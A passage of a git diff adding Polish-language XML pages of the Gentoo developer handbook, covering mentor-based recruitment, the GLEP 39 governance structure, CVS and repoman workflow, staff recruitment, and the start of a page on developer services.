+przydzielenie takiej osoby. Samodzielne zgłoszanie na Bugzilli błędu
+zatytułowanego "New developer" dyskwalifikuje kandydata. Jest to obowiązkiem
+jego mentora.
+</p>
+
+</body>
+</section>
+<section>
+<title>Mentor</title>
+<body>
+
+<p>
+Każdy nowy deweloper posiada mentora, osobę która jest deweloperem, i
+jednocześnie doradcą nowego dewelopera przez cały okres jego rekrutacji.
+</p>
+
+<p>
+Mentor powinien odpowiadać na pytania rekruta oraz określać zadania jakie ma do
+wykonania zanim stanie się się pełnoprawnym deweloperem Gentoo.
+</p>
+
+<p>
+Kiedy deweloper godzi się na bycie mentorem nowego dewelopera, ma obowiązek
+zgłosić to w raporcie błędu i przypisać błąd do zespołu rekrutacji. Na stronie
+<uri link="/proj/en/devrel/recruiters">zespołu</uri> znajduje się spis
+wszystkich informacji jakie należy uwzględnić w zgłoszeniu.
+</p>
+
+<note>
+Zespół rekrutacji zastrzega sobie prawo do przypisywania mentorów dla nowych
+deweloperów, jeżeli pierwszy mentor nie przekazuje informacji o nowym
+deweloperze lub gdy mentor zgłasza raport, lecz później nie pomaga nowemu
+deweloperowi podczas procesu rekrutacji.
+</note>
+
+</body>
+</section>
+<section>
+<title>Oczekiwanie</title>
+<body>
+
+<p>
+Wszyscy nowi deweloperzy przechodzą etap oczekiwania, który czasem trwa nawet
+miesiąc, w zależności od tego jak szybko mentor uzna rekruta za osobę gotową do
+przejęcie wszystkich obowiązków dewelopera. W tym czasie nowy deweloper
+powinien wypełnić quiz, który będzie sprawdzany przez mentora oraz zespół
+rekrutacji i który potwierdzi jego wiedzę na temat pracy jaką będzie wykonywał.
+Czasami czas oczekiwania zależy też od zespołu rekrutacji i/lub liderów Gentoo
+Developer Relations.
+</p>
+
+<p>
+Dostępne są dwa quizy: <uri link="/proj/en/devrel/quiz/ebuild-quiz.txt">ebuild
+quiz</uri>, oraz <uri link="/proj/en/devrel/quiz/staff-quiz.txt">staff
+quiz</uri>. Deweloperzy, którzy będą pracować z infrastrukturą, GLSA lub innymi
+nie-ebuildowymi sferami, powinni wykonać staffing quiz. Każdy deweloper, który
+będzie miał dostęp do drzewa Portage powinien zdać quiz o ebuildach.
+</p>
+
+<p>
+Kiedy nowy deweloper ukończy quiz, powinien wysłać go do mentora
+odpowiedzialnego za przejrzenie quizu i do <uri
+link="/proj/en/devrel/recruiters">zespołu rekrutacji</uri>. Jeżeli odpowiedzi
+quizu zostaną uznane za dobre, proces rekrutacji będzie kontynuowany. W innym
+przypadku, nowy deweloper może wypełnić quiz ponownie, zakładając że zostanie
+to wykonane w okresie oczekiwania.
+</p>
+
+<p>
+Dodatkowo nowi deweloperzy powinni odpowiadać na każde pytanie zadawane przez
+zespół rekrutacji. Każdy deweloper, który nie odpowie, straci swoje zgłoszenie
+"New Developer" na Bugzilli.
+</p>
+
+</body>
+</section>
+<section>
+<title>Pokonywanie barier</title>
+<body>
+
+<p>
+Po tym jak mentor i osoby z zespołu rekrutacji przejrzą quiz i uznają go za
+wystarczająco dobry, należy wysłać go razem z kluczem DSA SSH2 (zabezpieczonym
+hasłem!) do zespołu rekrutacji. Jeżeli uznają oni nasz quiz za poprawny.
+</p>
+
+<p>
+Następnie wkraczamy w 30-to dniowy "okres próbny", podczas którego mentor
+sprawuje pieczę nad naszą pracą, ucząc odpowiedzialności. Zespół rekrutacyjny
+może odrzucić dewelopera, jeżeli podczas okresu próbnego jego działania wpłyną
+negatywanie na ich opinię o nim.
+</p>
+
+</body>
+</section>
+</sections>
diff --git a/xml/htdocs/proj/pl/devrel/handbook/hb-introduction-hierarchy.xml b/xml/htdocs/proj/pl/devrel/handbook/hb-introduction-hierarchy.xml
new file mode 100644
index 00000000..1a45037c
--- /dev/null
+++ b/xml/htdocs/proj/pl/devrel/handbook/hb-introduction-hierarchy.xml
@@ -0,0 +1,223 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/pl/devrel/handbook/hb-introduction-hierarchy.xml,v 1.1 2006/10/16 09:41:05 shadoww Exp $ -->
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+
+<sections>
+<version>1.0.2</version>
+<date>2006-05-04</date>
+
+<section>
+<title>Wprowadzenie</title>
+<body>
+
+<p>
+Celem tego rozdziału jest przedstawienie hierarchii procesu tworzenia systemu
+Gentoo Linux i ukazanie deweloperom struktury zarządzania tym procesem.
+</p>
+
+</body>
+</section>
+<section>
+<title>Krótka historia struktury zarządzania Gentoo</title>
+<body>
+
+<p>
+Pierwszą próbą uporządkowania hierarchii były działania z 2003 roku opisane w
+<uri link="http://www.gentoo.org/proj/en/glep/glep-0004.xml">GLEP 4</uri>.
+W związku z szybkim rozwojem Gentoo strukturę trzeba było ponownie zmienić.
+Zarówno powody za tym stojące jak i dokładny opis nowej hierarchii znajdują się
+w  <uri link="http://www.gentoo.org/proj/en/glep/glep-0039.html">GLEP 39</uri>.
+</p>
+
+</body>
+</section>
+<section>
+<title>Struktura na podstawie GLEP 39</title>
+<body>
+
+<p>
+Projekt to grupa deweloperów pracująca, by osiągnąć wyznaczone z góry cele.
+</p>
+
+<ul>
+  <li>
+    Wszystkie istniejące projekty mają swoją stronę internetową pod adresem
+    <uri link="http://www.gentoo.org/proj/en/">www.gentoo.org/proj/en/&lt;nazwa
+    projektu&gt;</uri>. Strona ta musi być aktualna, co znaczy, że informacje o
+    projekcie znajdujące na niej są regularnie aktualizowane. Jeśli strona nie
+    jest aktualizowana, projekt uznaje się za martwy.
+  </li>
+  <li>
+    Projekt może mieć jednego lub więcej koordynatorów wybieranych przez
+    członków projektu. Wybór musi być dokonywany co najmniej co 12 miesięcy i
+    może się odbyć w każdym momencie.
+  </li>
+  <li>
+    Projekt może posiadać podprojekty. Są to projekty będące wewnątrz struktury
+    projektu głównego i posiadające stronę internetową na jego stronach.
+  </li>
+  <li>Nie wszystko potrzebuje projektu</li>
+  <li>Projekty powinny prowadzić działalność długoterminową</li>
+  <li>Kompetencje projektów mogą się pokrywać</li>
+  <li>
+    Każdy deweloper może utworzyć nowy projekt po prostu tworząc dla niego
+    stronę w <path>gentoo/xml/htdocs/proj/en</path>.
+  </li>
+</ul>
+
+<p>
+Kwestie, które wykraczają daleko ponad kompetencje projektów są rozstrzygane
+przez Radę Gentoo.
+</p>
+
+<ul>
+  <li>
+    Liczba członków Rady zawsze jest ustalana z góry. W pierwszych wyborach
+    przez aklamację tę liczbę ustalono na 7 osób.
+  </li>
+  <li>
+    Członkowie Rady są wybierani w wyborach powszechnych przez wszystkich
+    deweloperów raz w roku.
+  </li>
+  <li>
+    Rada musi odbyć jedno otwarte dla wszystkich spotkanie raz w miesiącu
+  </li>
+  <li>
+    Rada podejmuje decyzje większością głosów osób obecnych na zebraniu (lub
+    ich przedstawicieli).
+  </li>
+  <li>
+    Jeśli jeden z członków Rady nie pojawi się na dwóch kolejnych spotkaniach i
+    nie wyznaczy na nie pełnomocnika, jest uznawany za nieobecnego.
+  </li>
+  <li>
+    Jeśli taki członek Rady lub jego pełnomocnik nie zjawi się na kolejnym
+    zebraniu, traci on swoje stanowisko i odbywają się nowe wybory by zastąpić
+    go kimś innym. Nowo wybrany członek Rady pracuje do końca kadencji
+    Rady, w której zajmuje miejsce.
+  </li>
+  <li>
+    Członkowie Rady wykluczeni z niej za nieobecność mogą brać udział w
+    kolejnych wyborach, a także w wyborach na ich następców. Powinni jednak
+    uzasadnić swoją nieobecność.
+  </li>
+  <li>Oznacznie osoby jako nieobecnej znika po kolejnych wyborach</li>
+  <li>
+    Jeśli na jakimś spotkaniu pojawi się mniej niż połowa członków Rady,
+    odbywają się nowe wybory na wszystkie miejsca w Radzie w ciągu miesiąca.
+    Odliczanie roku od wyborów wtedy się resetuje.
+  </li>
+  <li>
+    Rada może zawetować akcje dyscyplinarne podejmowane przeciw deweloperom
+  </li>
+  <li>
+    Przedstawicielem członka Rady nie może być inny członek Rady. Jedna osoba
+    nie może reprezentować więcej niż jednego członka Rady na jednym spotkaniu.
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Konsekwencje struktury</title>
+<body>
+
+<p>
+Konsekwencją zmiany struktury zarządzania jest fakt, że wszystkie decyzje
+dotyczące całego projektu będą podejmowane przez Radę. Pozwoli to na określenie
+i realizację celów dla całego projektu. Decyzje, które dotyczą tylko jednego
+lub dwóch projektów powinny być podejmowane w ich zakresie. Rada będzie
+reprezentacją całej społeczeności deweloperów, gdyż każdy z nich będzie mógł
+głosować. Jeśli deweloperzy nie będą zadowoleni z działań Rady, mogą
+przegłosować przyspieszone zakończenie jej kadencji.
+</p>
+
+<p>
+Decyzje dotyczące poszczególnych projektów powinny być podejmowane wewnątrz
+nich. Zwykle zajmują się tym koordynatorzy podprojektów.
+</p>
+
+<p>
+Większość projektów posiada jednego lub dwóch koordynatorów. Struktura
+zarządzania projektem zależy od jego członków. Dotyczy to również podprojektów.
+</p>
+
+<p>
+W niektórych projektach są wyznaczone konkretne osoby, których zadaniem jest
+komunikacja z innymi projektami. Na przykład w projekcie zajmującym się forum
+jest osoba zajmująca się kontaktami z osobami opiekującymi się infrastrukturą
+Gentoo.
+</p>
+
+<p>
+Podsumowując, obecna struktura nie wyznacza żadnemu z koordynatorów projektów
+żadnych konkretnych zadań. Są oni wybierani przez członków poszczególnych
+projektów i to od członków tych projektów zależy ich rola i zadania. Jeśli
+członkowie projektu nie są zadowoleni z przywództwa, mogą wybrać nowych
+koordynatorów.
+</p>
+
+<!-- FIXME TODO...
+
+<section>
+<title>Decision making</title>
+<body>
+<p>
+Currently, GLEPs (Gentoo Linux Enhancement Proposals) can be approved
+or rejected by the appropriate top-level manager under which the GLEP
+falls. If there is no clearly-defined manager under which the GLEP
+falls, the GLEP will be voted upon by the Managers and Chief
+Architect, and must be approved unanimously. In all cases, a public,
+written explanation must be provided detailing why the GLEP was
+approved or rejected, either by the manager who approved/rejected it,
+or the head of the GLEP sub-project (Grant Goodyear) if the GLEP was
+voted upon by the management team. This summary is meant to reflect
+the decision that was made by some of the managers at an early manager
+meeting.
+</p>
+
+<p>
+Currently, there is no formal general voting procedure in place. In
+the interim, any item to be voted upon must be approved by "votable"
+by the Chief Architect. Before voting takes place, all managers must
+have an opportunity to present their ideas before the other managers,
+with the general originator(s) of the idea having the opportunity to
+present first. After that, the Chief Architect and Managers can
+present their ideas, with the Chief Architect having the opportunity
+to present last. After this has happened, voting can take place, and
+the item will be approved on an unanimous vote. Managers or the Chief
+Architect can choose to abstain from voting, and the vote can still
+pass with abstainers as long as at least 50% of the members have
+voted. The voting must take place at an official managers
+meeting. Non-attending managers are allowed to vote via email. The
+vote must be officially tallied and posted to the managers list.
+</p>
+
+<p>
+The reason for the "Chief Architect approval" clause it to prevent the
+voting process from being abused by allowing voting items that make no
+sense, such as those that begin with a "Should we continue to," where
+a "nay" result would result in a change in existing policy, as well as
+preventing managers for requesting that every small decision be voted
+upon. We currently have no clear policy to determine what is a
+"votable" item, and without this policy there needs to be some method
+to determine what is "votable" and what affects some immutable part of
+Gentoo.
+</p>
+
+<p>
+This section is subject to additional clarification and refinement in
+the future, as is the rest of this document. The purpose of this
+section is to document our currently-existing procedures rather than
+define ideal or "final" procedures.
+</p>
+</body>
+</section>
+-->
+</body>
+</section>
+</sections>
diff --git a/xml/htdocs/proj/pl/devrel/handbook/hb-introduction-new-devs.xml b/xml/htdocs/proj/pl/devrel/handbook/hb-introduction-new-devs.xml
new file mode 100644
index 00000000..b3070894
--- /dev/null
+++ b/xml/htdocs/proj/pl/devrel/handbook/hb-introduction-new-devs.xml
@@ -0,0 +1,319 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/pl/devrel/handbook/hb-introduction-new-devs.xml,v 1.6 2008/07/25 13:16:17 shadow Exp $ -->
+
+<sections>
+<version>1.0.4</version>
+<date>2008-05-03</date>
+
+<section>
+<title>Praca w CVS</title>
+<subsection>
+<title>Wprowadzenie</title>
+<body>
+
+<p>
+Nie jest to dokładny opis pracy w CVS. Od tego mamy tekst
+<uri>/doc/pl/cvs-tutorial.xml</uri> i stronę info dla CVS.  Tu skoncentrujemy
+się na zadaniach jakie wykonuje się w drzewie ebuildów we współpracy z
+programem repoman.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Konfiguracja</title>
+<body>
+
+<p>
+Warto dodać do pliku <path>~/.cvsrc</path> następujące wpisy:
+</p>
+
+<pre caption="~/.cvsrc">
+cvs -q -z0
+diff -u -B
+checkout -P
+update -d -P
+</pre>
+
+<p>
+Wiele osób korzystających z CVS używa kompresji (-z#). Nalegamy, aby
+deweloperzy z szybszymi łączami korzystali z opcji -z0, ponieważ wysłanie
+nieskompresowanych danych jest w tym przypadku dużo szybsze i mniej obciąża
+serwer.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Pobieranie repozytorium</title>
+<body>
+
+<p>
+Repozytorium CVS Gentoo jest podzielone na kilka modułów. Pliki ebuild znajdują
+się w module <path>gentoo-x86</path>. W <path>gentoo</path> znajdują się pliki
+XML naszej strony internetowej, dokumentacja, katalogi poszczególnych
+projektów, nasze zdjęcia i tym podobne dane. <path>gentoo-projects</path>
+zawiera kilka interesujących projektów, z których część kiedyś znajdowała się w
+<path>gentoo-src</path>. <path>gentoo-src</path> istnieje ze względów
+historycznych, nalegamy na przeniesienie się do innego modułu, jeśli ktoś
+jeszcze z niego korzysta.
+</p>
+
+<pre caption="Pobieranie modułu gentoo-x86">
+$ <i>cvs -d username@cvs.gentoo.org:/var/cvsroot co gentoo-x86</i>
+</pre>
+
+<p>
+Podczas pracy z drzewem należy często aktualizować informacje w nim się
+znajdujące. Zmniejszy to ryzyko pojawienia się konfliktów. Można uniknąć
+ściągania całego repozytorium aktualizując tylko niektóre jego części. Od czasu
+do czasu warto jednak zaktualizować całe drzewo.
+</p>
+
+<pre caption="Aktualizacja modułu gentoo-x86">
+# <i>cd gentoo-x86</i>
+# <i>cvs update</i>
+</pre>
+
+<p>
+Możliwe jest również korzystanie z SVN, dla tych, którzy wolą je od CVS. Kilka
+kluczowych projektów jest rozwijanych w SVN (np. <path>portage</path> i
+<path>baselayout</path>).
+</p>
+
+<pre caption="Pobieranie repozytorium z SVN">
+# <i>svn co svn+ssh://username@cvs.gentoo.org/var/svnroot/portage</i>
+</pre>
+
+</body>
+</subsection>
+<subsection>
+<title>Aktualizowanie Portage</title>
+<body>
+
+<p>
+Można korzystać z CVS jako głównego źródła, z którego pobiera się drzewo
+Portage. Dokonuje się tego dodając następujące linie do pliku
+<path>/etc/make.conf</path> (i zamieniając wpis "ja" odpowiednią nazwą
+użytkownika):
+</p>
+
+<pre caption="Zmiany w /etc/make.conf do pobierania drzewa przez CVS">
+SYNC="cvs://ja@cvs.gentoo.org:/var/cvsroot"
+CVSROOT=":ext:you@cvs.gentoo.org:/var/cvsroot"
+</pre>
+
+<note>
+W związku z tym że CVS nie obsługuje cachowania metada, portage będzie działać
+naprawdę wolno.
+</note>
+
+<p>
+Do zmiennej <c>FEATURES</c> (na architekturach na których to działa) należy
+dodać również <c>sandbox</c>, co uniemożliwi modyfikację lokalnego systemu
+plików przez ebuildy.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Dodawanie i usuwanie pakietów</title>
+<body>
+
+<p>
+Załóżmy, że chcemy dodać nowy pakiet o nazwie <c>foo</c> do katalogu app-misc:
+</p>
+
+<pre caption="Dodawanie nowego pakietu do Portage">
+<comment>(Zamieniamy CVSROOT na miejsce, w którym znajduje się drzewo pobrane za pomocą CVS)</comment>
+# <i>cd $CVSROOT/app-misc</i>
+<comment>(Zawsze przed rozpoczęciem pracy aktualizujemy daną gałąź drzewa!)</comment>
+# <i>cvs update</i>
+# <i>mkdir foo</i>
+<comment>(Dodajemy do repozytorium katalog dla nowego pakietu)</comment>
+# <i>cvs add foo</i>
+# <i>cd foo</i>
+<comment>(Ebuildy, które nie są jeszcze gotowe do dodania trzymamy poza drzewem)</comment>
+# <i>cp /ścieżka/do/foo-1.0.ebuild ./</i>
+<comment>(Zmienna PORTDIR_OVERLAY musi zgadzać się z katalogiem CVS podczas tworzenia sum kontrolnych)</comment>
+# <i>repoman manifest</i>
+# <i>${EDITOR} metadata.xml</i>
+<comment>Nie potrzebujemy już więcej katalogu z plikami</comment>
+# <i>cvs add foo-1.0.ebuild metadata.xml files</i>
+<comment>[Należy nie zapomnieć o stworzeniu pliku ChangeLog - więcej informacji na ten temat można uzyskać w manualu echangelog]</comment>
+# <i>echangelog "New ebuild for foo. Ebuild written by me. Fixes bug #XXXXXX."</i>
+</pre>
+
+<p>
+Więcej informacji ma temat pliku metedata.xml znajduje się w rozdziale <uri
+link="?part=2&amp;chap=4">metadata</uri>.
+</p>
+
+<p>
+W tym momencie jesteśmy gotowi do dodania plików. Akapit o tym jak się tego
+dokonuje znajduje się poniżej. Najpierw jednak, w związku z wyjściem nowej
+wersji, usuniemy stary ebuild foo-1.0.
+</p>
+
+<pre caption="Usuwanie starej wersji pakietu">
+# <i>cd CVSROOT/app-misc/foo</i>
+# <i>cvs update</i>
+# <i>cvs remove -f foo-1.0.ebuild</i>
+</pre>
+
+<p>
+A potem umieszczamy na serwerze wszystkie dokonane zmiany.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Wysyłanie</title>
+<body>
+
+<p>
+Zawsze należy korzystać z polecenia <c>repoman commit</c>, nigdy z <c>cvs
+commit</c>. Program repoman to narzędzie QA ("quality assurance" - zapewniające
+jakość), które sprawdza dodawane pliki oraz tworzy pliki Manifest. Jeśli jakaś
+część wyniku polecenia repoman jest niejasna, wyjaśnienia należy szukać na
+stronie man tego programu. Aby uniknąć ciągłego wpisywania hasła, można
+skorzystać ze wskazówek spisanych w tekście
+<uri>http://www.gentoo.org/proj/pl/keychain.xml</uri>.
+</p>
+
+<pre caption="Praca z repomanem">
+<comment>[Należy się upewnić, że żadne ze sprawdzanych plików nie należą do roota!]</comment>
+<comment>("scan" sprawdza katalog pod kątem występowania błędów QA. "full" jest bardziej uniwersalny)</comment>
+# <i>repoman scan</i>
+<comment>("commit" dokonuje sprawdzenia, a następnie wysyła pliki, aktualizując przy okazji sumy kontrolne.
+Warto dodać opcję "verbose", dzięki temu wyświetlą się wszystkie informacje zwracane przez CVS...)</comment>
+# <i>repoman commit</i>
+</pre>
+
+</body>
+</subsection>
+<subsection>
+<title>Przyspieszanie CVS</title>
+<body>
+
+<p>
+Można skorzystać z połączenia SSH z serwerem w celu przyspieszenia dodawania
+zmian w repozytorium jeśli ma się naprawdę słabe połączenie z jego serwerem.
+Wystarczy dodać w pliku konfiguracyjnym poniższe opcje.
+</p>
+
+<pre caption="~/.ssh/config">
+Host *
+    ControlMaster auto
+    ControlPath ~/.ssh/master-%r@%h:%p
+</pre>
+
+<p>
+Następnie wystarczy uruchomić połączenie w tle za pomocą polecenia:
+</p>
+
+<pre caption="Otwieranie połączenia w tle">
+<comment>Wszystkie opcje są opisane na stronie man ssh</comment>
+$ ssh -M -N -f ${USER}@cvs.gentoo.org
+</pre>
+
+</body>
+</subsection>
+</section>
+<section>
+<title>Dodatki</title>
+<subsection>
+<title>Umieszczanie plików na serwerach lustrzanych</title>
+<body>
+
+<p>
+Pliki są pobierane automatycznie przez system serwerów lustrzanych Gentoo.
+Wszystko co trzeba zrobić to sprawdzić czy przy pobieraniu przez niego plików
+nie wystąpiły żadne błędy. Dokładne instrukcje na ten temat znajdują się w
+tekście <uri
+link="/proj/en/infrastructure/mirrors/overview-distfile.xml">Distfiles Overview
+Guide</uri>.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Poczta i strona internetowa</title>
+<body>
+
+<p>
+Wszyscy deweloperzy mogą mieć konta pocztowe na naszych serwerach. Instrukcje
+umożliwiające korzystanie z takiej poczty znajdują się pod adresem
+<uri>http://www.gentoo.org/proj/en/infrastructure/dev-email.xml</uri>.
+</p>
+
+<p>
+Wszyscy deweloperzy mogą umieścić własne strony pod adresem
+http://dev.gentoo.org/~$pseudonim. Dokładny opis tej usługi znajduje się na w
+<uri
+link="http://www.gentoo.org/proj/en/infrastructure/dev-webspace.xml">Webspace
+Configuration Guide</uri>.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Blog na stronie Planet Gentoo</title>
+<body>
+
+<p>
+Na stronie <uri link="http://planet.gentoo.org">Planet Gentoo</uri> znajduje
+się zbiór krótkich artykułów pisanych przez deweloperów Gentoo. Wprawdzie nie
+jest to obowiązkowe, ale gorąco zachęcamy do udzielania się w tym serwisie.
+Poprawia to komunikację pomiędzy deweloperami i użytkownikami oraz dostarcza
+interesującej lektury na długie zimowe wieczory.
+</p>
+
+<p>
+Aby dodać tam jakiś post, wystarczy posiadać własny blog. Wiele serwisów
+oferuje taką możliwość za darmo, można również (jeśli ma się takie zasoby)
+hostować go samodzielnie. Blog może również znajdować się na naszych stronach.
+</p>
+
+<p>
+Zawartość Planet Gentoo powinna być związana z naszą dystrybucją i jej
+rozwijaniem.
+</p>
+
+<p>
+Jeśli blog znajduje się na serwerach Gentoo, jego zawartość musi być z Gentoo
+ściśle związana. Po utracie statusu dewelopera Gentoo znika możliwość dodawania
+nowych artykułów do takiego bloga.
+</p>
+
+<p>
+Jeśli blog znajduje się w zewnętrznym serwisie, musi on dawać możliwość
+korzystania z formatu XML. Jeśli jest podzielony na kilka kategorii, chcemy
+mieć dostęp tylko do tej, która jest związana z Gentoo. Większość serwisów
+posiada takie usługi w domyślnej konfiguracji.
+</p>
+
+<p>
+Należy zachować zdrowy rozsądek i uważnie dobierać tematy, na które się pisze.
+Poglądy dewelopera mogą zostać mylnie wzięte za oficjalne stanowisko wszystkich
+osób pracujących nad Gentoo, co może zepsuć ich dobry wizerunek.
+</p>
+
+<p>
+Osoby zainteresowane dodawaniem artykułów do serwisu Planet Gentoo powinny
+zgłosić się pod adres <mail
+link="user-relations@gentoo.org">user-relations@gentoo.org</mail> i napisać czy
+jest im potrzebny blog na naszych serwerach, czy też chcą dodawać posty z
+jakiegoś zewnętrznego serwisu. Dokładnie omówimy wtedy wszystkie szczegóły i
+odpowiednio skonfigurujemy całą usługę dla niego.
+</p>
+
+</body>
+</subsection>
+</section>
+</sections>
diff --git a/xml/htdocs/proj/pl/devrel/handbook/hb-introduction-staffers.xml b/xml/htdocs/proj/pl/devrel/handbook/hb-introduction-staffers.xml
new file mode 100644
index 00000000..858252e2
--- /dev/null
+++ b/xml/htdocs/proj/pl/devrel/handbook/hb-introduction-staffers.xml
@@ -0,0 +1,138 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/pl/devrel/handbook/hb-introduction-staffers.xml,v 1.1 2009/02/16 01:48:06 rane Exp $ -->
+
+<sections>
+<version>1</version>
+<date>2008-09-13</date>
+
+<section>
+<title>Zasady rekrutacji członków personelu w Gentoo</title>
+<subsection>
+<title>Wstęp</title>
+<body>
+
+<p>
+Utrzymywanie dystrybucji Linuksa ma wiele aspektów i spora część z nich nie jest
+bezpośrednio związana z programowaniem. Każda dystrybucja potrzebuje ludzi do
+obsługi swoich serwerów, pomagania społeczności, pisania dokumentacji,
+zajmowania się finansami projektu i jego stroną prawną oraz wypełniania wielu
+innych zadań. Ich udział jest tak samo ważny jak udział programistów. Tacy
+deweloperzy są w Gentoo nazywani personelem (ang. staff members).
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Lista personelu</title>
+<body>
+
+<p>
+Personel Gentoo składa się z członków następujących projektów:
+</p>
+
+<ul>
+  <li><uri link="/proj/en/infrastructure/">Gentoo Infrastructure</uri> członkowie projektu</li>
+  <li><uri link="/proj/en/gdp/">Gentoo Documentation</uri> redaktorzy i tłumacze</li>
+  <li><uri link="/news/en/gmn/">Gentoo Monthly Newsletter</uri> redaktorzy i tłumacze</li>
+  <li><uri link="/proj/en/forums/">Gentoo Forums</uri> moderatorzy globalni i administratorzy</li>
+  <li><uri link="/proj/en/devrel/">Gentoo Developer Relations</uri> członkowie</li>
+  <li><uri link="/proj/en/userrel/">Gentoo User Relations</uri> członkowie</li>
+  <li><uri link="/proj/en/pr/">Gentoo Public Relations</uri> członkowie</li>
+  <li><uri link="/proj/en/security/">Gentoo Security</uri> koordynatorzy GLSA</li>
+  <li><uri link="/proj/en/sunrise/">Gentoo Sunrise</uri> deweloperzy</li>
+  <li><uri link="/foundation/en">Gentoo Foundation</uri> członkowie zarządu</li>
+</ul>
+
+<impo>
+Jeśli projektu, do którego chciałbyś wnieść swój wkład jako członek personelu,
+nie ma na powyższej liście, a uważasz, że być powinien, skontaktuj się z <mail
+link="devrel@gentoo.org">Developer Relations</mail> w sprawie zmiany polityki.
+</impo>
+
+</body>
+</subsection>
+<subsection>
+<title>
+Czym różni się poziom dostępu członka personelu od dewelopera pracującego nad
+ebuildami?
+</title>
+<body>
+
+<p>
+Przyznawany dostęp zależy od zakresu odpowiedzialności członka personelu.
+Wszyscy deweloperzy Gentoo dostają adres e-mail w domenie gentoo.org, dostęp
+przez ssh do dev.gentoo.org (shell, ldap, public_html, itp.) tak jak i dostęp
+przez cvs do stron projektów. Jako członek personelu nie otrzymasz dostępu do
+drzewa ebuildów, ale (w zależności od zakresu odpowiedzialności) możesz uzyskać
+dostęp do innych części dystrybucji.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Jak można zostać członkiem personelu w Gentoo?</title>
+<body>
+
+<p>
+Należy nawiązać współpracę z członkami projektu, któremu chce się pomóc.
+Zaproszenie do projektu otrzymuje się jeśli poziom współpracy jest wystarczająco
+intensywny. Może to trochę potrwać i może też wymagać przejścia wewnętrznych
+procedur rekrutacji w obrębie projektu. Procedury te istnieją po to, by upewnić
+się, że kandydat wie z czym wiąże się jego przyszła funkcja w Gentoo; są
+tworzone i zarządzane przez członków danego projektu.
+</p>
+
+<p>
+Jeśli kandydat jest gotowy, musi znaleźć mentora i rozpocząć procedurę
+rekrutacji. Procedura rozpocznie się w momencie gdy mentor zaakceptuje tzw.
+<uri link="http://www.gentoo.org/proj/en/devrel/quiz/staff-quiz.txt">staff
+quiz</uri> kandydata. Następnie ktoś z osób zajmujących się rekrutacją zostanie
+przypisany do rekruta i zorganizuje z nim rozmowę kwalifikacjną.  Więcej
+informacji na ten temat znajduje się w tekście opisującym <uri
+link="http://www.gentoo.org/proj/en/devrel/recruiters/mentor.xml">opiekę nad
+rekrutami</uri>.
+</p>
+
+<note>
+Jako członek personelu, który nie będzie pracował nad ebuildami, kandydat nie
+będzie pytany o techniczne aspekty z nimi związane. Na tym etapie rekrutacji
+wymagane będzie jedynie dobre zrozumienie wewnętrznego działania Gentoo.
+</note>
+
+</body>
+</subsection>
+<subsection>
+<title>
+Chcę zacząć współpracę z Gentoo jako członek personelu, ale w przyszłości
+chciałbym także zająć się ebuildami.
+</title>
+<body>
+
+<p>
+Każdy deweloper Gentoo może dołączyć do dowolnego projektu do jakiego sobie
+życzy jeśli tylko deweloperzy już związani z tym projektem się na to zgadzają.
+Uzyskanie dostępu do drzewa ebuildów wymaga przejścia technicznego etapu
+rekrutacji. Potrzebny do tego będzie mentor, historia technicznego wkładu
+(poprawienia bugów, zewnętrzne repozytoria, itp.) i odpowiedni trening. Więcej
+informacji na ten temat mogą udzielić osoby zajmujące się rekrutacją w Gentoo.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Jak można zostać usuniętym z personelu?</title>
+<body>
+
+<p>
+Należy pozostać aktywnym w projekcie, do którego się dołączyło lub przenieść się
+do innego projektu. Jeśli ktoś nie wykazuje aktywności w żadnym z projektów Gentoo,
+członkowie <uri link="/proj/en/devrel/undertakers/">Gentoo
+Undertakers</uri> rozpoczynają procedurę usuwania danej osoby z Gentoo.
+</p>
+
+</body>
+</subsection>
+</section>
+</sections>
diff --git a/xml/htdocs/proj/pl/devrel/handbook/hb-introduction-whatyouget.xml b/xml/htdocs/proj/pl/devrel/handbook/hb-introduction-whatyouget.xml
new file mode 100644
index 00000000..fb001ad4
--- /dev/null
+++ b/xml/htdocs/proj/pl/devrel/handbook/hb-introduction-whatyouget.xml
@@ -0,0 +1,243 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/pl/devrel/handbook/hb-introduction-whatyouget.xml,v 1.5 2007/09/26 10:22:09 rane Exp $ -->
+
+<sections>
+<version>1.0.3</version>
+<date>2007-08-17</date>
+
+<section>
+<title>Wprowadzenie</title>
+<body>
+
+<p>
+Gentoo zapewnia deweloperom wszystkie potrzebne usługi, które mogą ułatwić im
+pracę nad projektami. Jeżeli jest coś, co jest potrzebne, a nie zostało
+jeszcze dodane do listy usług, można się tego śmiało domagać od zespołu Gentoo
+Infrastructure.
+</p>
+
+<p>
+Stając się autoryzowanym deweloperem, otrzymamy od rekrutującej nas osoby
+dostęp do wymienionych poniżej usług. Jeżeli doświadczymy jakichkolwiek
+problemów, kontakt z osobą rekrutującą nas, bądź wymienionym wyżej zespołem
+powinien rozwiązać problem.
+</p>
+
+</body>
+</section>
+<section>
+<title>Bugzilla</title>
+<body>
+
+<p>
